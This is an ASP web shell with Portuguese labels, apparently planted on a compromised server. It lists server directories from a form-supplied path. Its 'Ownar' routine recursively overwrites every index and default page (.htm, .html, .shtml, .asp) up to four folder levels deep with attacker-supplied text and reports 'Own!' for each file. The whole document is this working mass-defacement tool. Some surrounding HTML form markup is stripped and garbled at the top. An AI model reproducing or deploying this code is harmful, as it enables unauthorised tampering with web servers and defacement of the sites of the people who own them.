"> DIR: ">  Listar Arquivos
ECHO: ">  ?
<% Server.ScriptTimeOut="999" path = Request.ServerVariables("PATH_TRANSLATED") Response.Write "Local deste arquivo no Servidor: " & path & "

---

" Dim ObjFso, ObjArq, ObjPasta, ObjSubPasta Set ObjFso = Server.CreateObject("Scripting.FileSystemObject") if request.form("dir") <> "" and request.form("echo") <> "" then Set ObjPasta = ObjFso.GetFolder("" & request.form("dir")) Call Ownar() elseif request.form("dir") <> "" and request.form("arq") <> "" then Set ObjPasta = ObjFso.GetFolder("" & request.form("dir")) Call ListArq() elseif request.form("dir") <> "" then Set ObjPasta = ObjFso.GetFolder("" & request.form("dir")) Call ListDir() end if Sub ListArq() Response.Write "Arquivos da Pasta: " & ObjPasta.Name & "
" For Each ObjArq in ObjPasta.Files Response.Write "" & ObjArq.Name & "
" Next End Sub Sub ListDir() Response.Write "Pastas e Subpastas:
" For Each ObjSubPasta in ObjPasta.Subfolders Response.Write "
" & ObjSubPasta.Path & ":" For Each ObjSub2Pasta in ObjSubPasta.Subfolders Response.Write "
" & ObjSub2Pasta.Name & "
" For Each ObjSub3Pasta in ObjSub2Pasta.Subfolders Response.Write "" & ObjSub3Pasta.Name & "
" For Each ObjSub4Pasta in ObjSub3Pasta.Subfolders Response.Write "" & ObjSub4Pasta.Name & "
" Next Next Next Next End Sub Sub Ownar() Response.Write "Arquivos da Pasta: " & ObjPasta.Path & "" For Each ObjArq in ObjPasta.Files z = ObjArq.Name If z="index.shtml" Or z="Index.shtml" Or z="INDEX.SHTML" or z="default.shtml" Or z="Default.shtml" Or z="DEFAULT.SHTML" or z="index.htm" Or z="Index.htm" Or z="INDEX.HTM" Or z="index.html" Or z="Index.html" Or z="INDEX.HTML" Or z="default.htm" Or z="Default.htm" Or z="DEFAULT.HTM" Or z="default.html" Or z="Default.html" Or z="DEFAULT.HTML" Or z="index.asp" Or z="Index.asp" Or z="INDEX.ASP" Or z="default.asp" Or z="Default.asp" Or z="DEFAULT.ASP" Then Response.Write "
" & z & " - " & ObjArq.Path & " - " Set thisfile = ObjFso.OpenTextFile(ObjArq.Path, 2, True, False) thisfile.Writeline("")& request.form("echo") thisfile.Close Response.Write "Own!
" End if z = "" Next Response.Write "
Subpastas e Arquivos a partir de " & ObjPasta.Path & "
" For Each ObjSubPasta in ObjPasta.Subfolders Response.Write "
Sub Pasta: " & ObjSubPasta.Name & "" For Each ObjArq in ObjSubPasta.Files x = ObjArq.Name If x="index.shtml" Or x="Index.shtml" Or x="INDEX.SHTML" Or x="index.htm" Or x="Index.htm" Or x="INDEX.HTM" Or x="index.html" Or x="Index.html" Or x="INDEX.HTML" Or x="default.shtml" Or x="Default.shtml" Or x="DEFAULT.SHTML" Or x="default.htm" Or x="Default.htm" Or x="DEFAULT.HTM" Or x="default.html" Or x="Default.html" Or x="DEFAULT.HTML" Or x="index.asp" Or x="Index.asp" Or x="INDEX.ASP" Or x="default.asp" Or x="Default.asp" Or x="DEFAULT.ASP" Then Response.Write "
" & x & " - " & ObjArq.Path & " - " Set thisfile = ObjFso.OpenTextFile(ObjArq.Path, 2, True, False) thisfile.Writeline("")& request.form("echo") thisfile.Close Response.Write "Own!
" End if x = "" Next For Each ObjSub2Pasta in ObjSubPasta.Subfolders Response.Write "
Sub Pasta: " & ObjSub2Pasta.Name & "" For Each ObjArq in ObjSub2Pasta.Files x = ObjArq.Name If x="index.shtml" Or x="Index.shtml" Or x="INDEX.SHTML" Or x="index.htm" Or x="Index.htm" Or x="INDEX.HTM" Or x="index.html" Or x="Index.html" Or x="INDEX.HTML" Or x="default.htm" Or x="Default.htm" Or x="DEFAULT.HTM" Or x="default.html" Or x="Default.html" Or x="DEFAULT.HTML" Or x="default.shtml" Or x="Default.shtml" Or x="DEFAULT.SHTML" Or x="index.asp" Or x="Index.asp" Or x="INDEX.ASP" Or x="default.asp" Or x="Default.asp" Or x="DEFAULT.ASP" Then Response.Write "
" & x & " - " & ObjArq.Path & " - " Set thisfile = ObjFso.OpenTextFile(ObjArq.Path, 2, True, False) thisfile.Writeline("")& request.form("echo") thisfile.Close Response.Write "Own!
" End if x = "" next For Each ObjSub3Pasta in ObjSub2Pasta.Subfolders Response.Write "
Sub Pasta: " & ObjSub3Pasta.Name & "" For Each ObjArq in ObjSub3Pasta.Files x = ObjArq.Name If x="index.htm" Or x="Index.htm" Or x="INDEX.HTM" Or x="index.html" Or x="Index.html" Or x="INDEX.HTML" Or x="default.htm" Or x="Default.htm" Or x="DEFAULT.HTM" Or x="default.html" Or x="Default.html" Or x="DEFAULT.HTML" Or x="index.asp" Or x="Index.asp" Or x="INDEX.ASP" Or x="default.asp" Or x="Default.asp" Or x="DEFAULT.ASP" Then Response.Write "
" & x & " - " & ObjArq.Path & " - " Set thisfile = ObjFso.OpenTextFile(ObjArq.Path, 2, True, False) thisfile.Writeline("")& request.form("echo") thisfile.Close Response.Write "Own!
" End if x = "" Next Next Next Next Response.Write "
" End Sub Set ObjPasta = Nothing Set ObjArq = Nothing Set ObjSubPasta = Nothing Set ObjFso = Nothing %>